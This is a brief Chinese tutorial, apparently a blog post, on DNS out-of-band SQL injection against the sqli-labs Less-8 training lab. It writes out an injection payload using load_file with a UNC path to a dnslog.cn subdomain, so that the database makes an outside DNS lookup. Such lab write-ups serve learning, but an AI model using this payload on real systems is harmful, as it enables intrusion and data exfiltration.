sql注入——dns的带外注入

以sql labs8为例 1.搜索dns.log在线软件，并get一个域名 2.在cmd中ping该域名，发现解析成功 3.在sql labs8中输入http://localhost/sqli-labs-master/Less-8/?id=1' and load_file("\\\\sss.cipv66.dnslog.cn\\xxx.txt") -- -，并执行 4.在dnslog上刷新查询，就可

>>阅读原文<<